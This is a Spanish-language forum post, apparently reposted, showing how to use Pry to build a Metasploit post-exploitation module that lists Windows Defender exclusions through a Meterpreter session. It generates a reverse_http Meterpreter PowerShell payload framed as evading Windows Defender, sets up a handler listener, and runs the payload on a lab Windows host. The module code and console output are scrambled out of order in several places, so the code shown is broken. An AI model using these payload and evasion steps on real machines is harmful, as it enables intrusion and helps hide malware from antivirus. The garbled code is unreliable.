Usando PRY en el desarrollo de módulos para Metasploit.

Iniciado por morodog, Septiembre 29, 2015, 04:20:21 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.



Vamos a cubrir el uso básico de Pry para escribir un modulo sencillo que enumerará las excepciones configuradas en Windows Defender en una maquina OS X o Linux. Aunque se puede desarrollar para Metasploit en una máquina que esté corriendo Windows no es recomendado debido a todas las limitantes que nos trae. Pry es un módulo de Ruby que se puede usar en vez de irb para tener una sesión interactiva dentro del contexto del framework para ejecutar comandos y pruebas. El mismo actúa como un prompt que podrí­amos tener en bash o en otra consola, lo cual lo hace familiar para el rápido aprendizaje del mismo.

Comencemos con preparar una estructura de carpetas similar a la estructura que usa Metasploit Framework para sus módulos y la inicializamos con git de manera de poder tener control de versión de la misma.

Código: php
infidel01:~ carlos$ mkdir -p modulos/post/windows/gather

infidel01:~ carlos$ cd modulos/

Initialized empty Git repository in /Users/carlos/modulos/.git/


infidel01:modulos carlos$ git init



Una vez inicializado podermos crear el módulo que estaremos escribiendo y lo añadimos a la base de datos de control de git.


Código: php
infidel01:modulos carlos$ touch post/windows/gather/get_windefender_exclusions.rb


infidel01:modulos carlos$ git add post/windows/gather/get_windefender_exclusions.rb



Abrimos en nuestro editor favorito el archivo que creamos y creamos lo que llamo el esqueleto de un modulo de post-exploitation en el cual incluimos el mixin de registry para Windows y de reporte.

Añadimos información general como la licencia, autor, que es para un sistema Windows y que el tipo de sesión es Meterpreter.

Los mixin serían:

* Msf::Post::Windows::Registry
* include Msf::Auxiliary::Report

El modulo se vería así

Código: php
##


# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core/auxiliary/report'

##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

include Msf::Auxiliary::Report

include Msf::Post::Windows::Registry

  def initialize(info={})

'Name'          => 'Windows enumerate Windows Defender exclusions.',

super( update_info( info,
      'Description'   => %q{

'License'       => BSD_LICENSE,

Windows enumerate Windows Defender exclusions.
      },

'Author'        => [ 'Carlos Perez ' ],


'Platform'      => [ 'win' ],


'SessionTypes'  => [ 'meterpreter' ]

))
  end

  def run()

print_status("Running post module against #{sysinfo['Computer']}")

end

end



Generemos un payload en formato PowerShell de manera que evite la detección del mismo Windows Defender dandole como LHOST el IP de la máquina donde esta msfconsole corriendo:


Código: php
msf > use payload/windows/meterpreter/reverse_http


msf payload(reverse_http) > set LHOST 192.168.100.2

LHOST => 192.168.100.2

msf payload(reverse_http) > generate -t psh-reflection -f /tmp/dev_payload.ps1

[*] Writing 2673 bytes to /tmp/dev_payload.ps1...

msf payload(reverse_http) >



Ahora usando el Multi Handler creamos un trabajo que recibirá la sesión usando la información previa, ponemos ExitOnSession en falso de manera que siga escuchando por mas conexiones una vez establezca una e inicializamos el mismo como un job y en background.


Código: php
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http

PAYLOAD => windows/meterpreter/reverse_http

LHOST => 192.168.100.2

msf exploit(handler) > set LHOST 192.168.100.2

msf exploit(handler) > exploit -j -z

msf exploit(handler) > set ExitOnSession false
ExitOnSession => false

[*] Started HTTP reverse handler on http://0.0.0.0:8080/

[*] Exploit running as background job.


msf exploit(handler) > [*] Starting the payload handler...



En nuestra máquina Windows 8/8.1/10 abrimos Windows PowerShell x86 y copiamos el contenido del PS1 en la misma pantalla y lo ejecutamos, una sesión debe ser creada en msfconsole.

Código: php
msf payload(reverse_http) > 


[*] 192.168.100.176:51786 (UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z) Staging Native payload ...

[*] Meterpreter session 1 opened (192.168.100.1:8080 -> 192.168.100.176:51786) at 2015-09-22 14:32:24 -0400

Type: meterpreter x86/win32

msf payload(reverse_http) > sessions -v

Active sessions
===============

  Session ID: 1

Via: exploit/multi/handler

Info: WIN-RB3R8HILN3R\Carlos Perez @ WIN-RB3R8HILN3R
      Tunnel: 192.168.100.1:8080 -> 192.168.100.176:51786 (192.168.100.176)

CheckIn: 4s ago @ 2015-09-22 14:40:19 -0400

UUID: b0790294217a0a22/x86=1/windows=1/2015-09-22T18:32:23Z
   MachineID: 272520e89cdbf67b2d3f87c9696871cd
  Registered: No



Ahora podemos decirle a msfconsole que cargue el modulo que creamos del directorio de desarrollo.

Código: php
msf payload(reverse_http) > loadpath ~/modulos

Loaded 1 modules:

1 post



Cargamos el modulo de manera de poder configurar el mismo con la sesión que creamos previamente y probamos que podemos ver su información.

Código: php
msf exploit(handler) > use post/windows/gather/get_windefender_exclusions 

msf post(get_windefender_exclusions) > set SESSION 1
SESSION => 1

Name: Windows enumerate Windows Defender exclusions.

msf post(get_windefender_exclusions) > info

     Module: post/windows/gather/get_windefender_exclusions

Carlos Perez

Platform: Windows
       Arch:
       Rank: Normal

Provided by:




Basic options:


Name     Current Setting  Required  Description

----     ---------------  --------  -----------

SESSION  1                yes       The session to run this module on.

Description:

Windows enumerate Windows Defender exclusions.



Nuestro módulo ya está apuntando a una sesión y podemos comenzar a usar pry para explorar lo que tenemos disponible bajo su contexto dentro de Metasploit Framework. Esto lo conseguimos comenzando la terminal de pry dentro del mismo msfconsole entrando el commando:


Código: php
msf post(get_windefender_exclusions) > pry


[1] pry(#)>


El prompt será una largo por que tiene información del módulo donde estamos. Dependiendo del tamaño de pantalla que estemos usando, el mismo puede ser un tanto incómodo. Una manera para hacer el mismo má sencillo es usando el comando simple-prompt.

Código: php
pry(#)> simple-prompt


>>



Para ver la ayuda de Pry entramos el comando de help, para paginar el mismo presionamos la tecla de espacio y para salir de la ayuda presionamos la tecla de Q.

Código: php
>> help


Comenzaremos con ver el código fuente del modulo mismo usando el comando show-source:
Código: php
>> show-source


Ahora miremos todas los métodos y funciones que podemos ejecutar bajo el contexto del modulo usando el comando de ls, podemos igual que antes paginar usando la tecla de espacio y salir presionando la tecla Q:

Código: php
>> ls


como estaremos trabajando con el registry listemos solo los métodos relacionados con el mismo dándole el nombre del mixin de registry que importamos, el comando sería "ls Msf::Post::Windows::Registry"



Código: php
>> ls Msf::Post::Windows::Registry


constants: REGISTRY_VIEW_32_BIT  REGISTRY_VIEW_64_BIT  REGISTRY_VIEW_NATIVE

Msf::Post::Windows::Registry#methods:

registry_createkey  registry_deleteval  registry_enumvals    registry_getvalinfo  registry_setvaldata


registry_deletekey  registry_enumkeys   registry_getvaldata  registry_loadkey     registry_unloadkey


Podemos identificar el método registry_enumkeys como el método que nos ayudaría a conseguir los keys debajo de otro, podemos ver el código del mismo y los valores que acepta usando el comando de show-source y dandole el nombre del método:



Código: php
>> show-source registry_enumkeys


From: /usr/local/share/metasploit-framework/lib/msf/core/post/windows/registry.rb @ line 94:

Owner: Msf::Post::Windows::Registry
Visibility: public
Number of lines: 7


meterpreter_registry_enumkeys(key, view)

def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE)
  if session_has_registry_ext
  else

end

shell_registry_enumkeys(key, view)

end


Podemos ver que requiere una valor que seria la llave que vamos a enumerar y el otro es una constante ya dada que tiene que ver con si queremos ver solo el valor de la llave en contexto x64, x86 o la visión nativa del proceso bajo el cual estamos corriendo, en el caso que esté corriendo en una maquina X64 y la versión de Meterpreter que estamos usando es x86 necesitamos especificar que es el contexto de x64 el que queremos, si no el contexto nativo es suficiente. Para ver la información de la arquitectura del sistema podemos ver la variable sysinfo que se auto genera en una sesión meterpreter la cual incluye la información:



Código: php
>> sysinfo


=> {"Computer"=>"WIN-RB3R8HILN3R",


"OS"=>"Windows 10 (Build 10240).",


"Architecture"=>"x64 (Current Process is WOW64)",

"System Language"=>"en_GB",

"Logged On Users"=>2}


"Domain"=>"WORKGROUP",


Probemos enumerando la llave que contiene la excepciones de Windows Defender que es HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions y ver que valores nos devuelve:



Código: php
>> registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", REGISTRY_VIEW_64_BIT)


=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]



Podemos ver que nos devuelve un array con los nombres de las llaves. Podemos editar nuestro modulo desde dentro del mismo pry si deseamos. Guardemos el array que recibimos de tipos de exclusión en una variable de manera de poder entonces enumerar cada uno de ellos.



Código: php
>> exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"

=> "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"

=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]


>> exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)


Ahora podemos probar cata tipo de excepción y ver si tenemos alguna configurada.

Código: php
>> exception_types.each do |et|


|   puts registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)

| end
C:\Users\Carlos Perez\Desktop\test_code
\\192.168.1.2\media

=> ["Extensions", "Paths", "Processes", "TemporaryPaths"]


Podemos ver que podemos enumerar las que están configuradas de tipo path. Ahora que tenemos toda la información que necesitamos y que confirmamos podemos salir de pry escribiendo el comando de exit. Una vez fuera podemos escribir edit en msfconsole


Código: php
>> exit


msf post(get_windefender_exclusions) > edit


Podemos ahora terminar de añadir toda la lógica necesaria para terminal el módulo.



Código: php
##


# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core/auxiliary/report'

##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

include Msf::Auxiliary::Report

include Msf::Post::Windows::Registry

  def initialize(info={})

'Name'          => 'Windows enumerate Windows Defender exclusions.',

super( update_info( info,
      'Description'   => %q{

'License'       => BSD_LICENSE,

Windows enumerate Windows Defender exclusions.
      },

'Author'        => [ 'Carlos Perez ' ],


'Platform'      => [ 'win' ],


'SessionTypes'  => [ 'meterpreter' ]

))
  end

  def run()

print_status("Running post module against #{sysinfo['Computer']}")

print_status("Enumerating Windows Defender exceptions:")

if sysinfo['Architecture'] =~ /x64/

exclusion_key = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"

exception_types = registry_enumkeys(exclusion_key)

exception_types = registry_enumkeys(exclusion_key,REGISTRY_VIEW_64_BIT)
    else
    end
    exception_types.each do |et|

exclusions = registry_enumvals("#{exclusion_key}\\#{et}",REGISTRY_VIEW_64_BIT)

vprint_status("Checking for #{et} exceptions.")
      if sysinfo['Architecture'] =~ /x64/
      else
        exclusions = registry_enumvals("#{exclusion_key}\\#{et}")

vprint_status("No exclusions found for #{et}")

end

      if exclusions.length > 0
        print_status("Exceptions found for #{et}")
        exclusions.each do |exc|
          print_good("\t#{exc}")
        end
      else

end

end
    end


end



Una vez salimos del editor msfconsole vuelve a cargar el módulo y podemos ahora probar los cambios.



Código: php
msf post(get_windefender_exclusions) > edit


[*] Launching /usr/bin/vim /Users/carlos/modulos/post/windows/gather/get_windefender_exclusions.rb

msf post(get_windefender_exclusions) > reload
[*] Reloading module...

[*] Enumerating Windows Defender exceptions:

msf post(get_windefender_exclusions) > run

[*] Running post module against WIN-RB3R8HILN3R

[*] Post module execution completed

[*] Exceptions found for Paths
[+]  C:\Users\Carlos Perez\Desktop\test_code
[+]  \\192.168.1.2\media

msf post(get_windefender_exclusions) >


En resumen, hemos visto como Pry nos puede ayudar a poder visualizar  mejor las llamadas del API, probar las mismas y a su vez reducir el tiempo cuando escribimos un módulo. Los mismos conceptos nos pueden servir cuando estamos tratando de resolver problemas con módulos existentes probando cada uno de sus componentes.



FUENTE| SBD

pry, byebug y otras gemas de debugger son esas cosas lindas que hace a este lenguaje  ;D

Muy buena nota.
Pancutan
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno, ahora desde sus puntos de vista la pregunta seria irb o pry
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta